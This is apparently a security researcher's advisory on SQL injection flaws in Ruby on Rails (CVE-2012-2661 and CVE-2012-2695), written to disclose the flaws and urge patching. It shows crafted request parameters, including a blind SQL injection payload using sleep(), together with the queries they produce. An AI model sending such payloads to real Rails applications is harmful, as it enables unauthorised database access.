We found a SQL Injection vulnerability in Ruby on Rails that affected all versions and reported it to the Rails security team. On the 12th of June, they released an advisory [1], patches and new versions that fix it. This vulnerability was also independently reported by other researchers.
These new patches actually fixed two variants of the CVE-2012-2661 case. We will cover them later. First let’s see the original vulnerability fixed on CVE-2012-2661. This vulnerability occurred during the processing of code like “Post.where(:id => params[:id]).all”. In this case, the attacker was able to change the query by manipulating the hash to include any table/column pair.
Example:
—
Request: controller?id=123
Query: SELECT `posts`.* FROM `posts` WHERE `posts`.`id` = ‘123’
Request: controller?id[table.column]=123
Query: SELECT `posts`.* FROM `posts` WHERE `table`.`column` = ‘123’
—
After the release of the patches for CVE-2012-2661, we did some investigation and still were able to exploit the same piece of code with two different variants. The first one was simply a small change in the way the hash is passed.
Example:
—
Request: controller?id=123
Query: SELECT `posts`.* FROM `posts` WHERE `posts`.`id` = ‘123’
Request: controller?id[table][column]=123
Query: SELECT `posts`.* FROM `posts` WHERE `table`.`column` = ‘123’
—
And the second one exploited a flaw which allowed the attacker to specify the database name to be used in a SHOW TABLES query. Since the name was user-supplied and not quoted, we were able to execute a Blind SQL Injection (tested on MySQL) and an Error-Based SQL Injection in case Rails is misconfigured to exhibit the exception/stacktrace pages. There is also a blog [2] that talks about this case.
Example:
—
Request: controller?id=123
Query: SELECT `posts`.* FROM `posts` WHERE `posts`.`id` = ‘123
Request: controller?id[mysql%20where%20(select%200)%20or%20sleep(1).xxx][yyy]=123
Queries:
SHOW TABLES
SHOW TABLES IN mysql where (select 0) or sleep(1)
(…)
SELECT `posts`.* FROM `posts` WHERE `mysql where (select 0) or sleep(1)`.`xxx`.`yyy` = ‘123’
—
These are the variants covered on CVE-2012-2695. There are also some other tricky cases of the use of hashes in queries which are considered expected behavior by the Rails developers and were not fixed with these patches. One of them occurs when a developer sets a column name to be the same as the table name. Then, he uses “Post.where(:posts => params[:id]).all” to search all posts which have the “posts” column with the value of the parameter, but the attacker can control the hash to search by another column name.
Example:
—
Request: controller?id=123
Query: SELECT `posts`.* FROM `posts` WHERE `posts`.`posts` = ‘123’
Request: controller?id[column]=123
Query: SELECT `posts`.* FROM `posts` WHERE `posts`.`column` = ‘123’
—
Another tricky case happens when a developer uses a piece of code like “Post.where(params[:foo] => params[:bar]).all” pretending to let the user search over any post column. In this case, the attacker can actually control not only the columns to be queried, but also the table name.
Example:
—
Request: controller?foo=column&bar=123
Query: SELECT `posts`.* FROM `posts` WHERE `posts`.`column` = ‘123’
Request: controller?foo=table.column&bar=123
Query: SELECT `posts`.* FROM `posts` WHERE `table`.`column` = ‘123’
—
Hopefully, all these cases will be detailed in the Rails Security Guide in the near future. We recommend everyone to update their Rails to the fixed versions 3.2.6, 3.1.6, 3.0.14 or to apply the patches.
by Gabriel Quadros – Security Research in Conviso Application Security
[1] http://seclists.org/oss-sec/2012/q2/504
[2] http://blog.pentesterlab.com/2012/06/cve-2012-2661-exploitation-write-up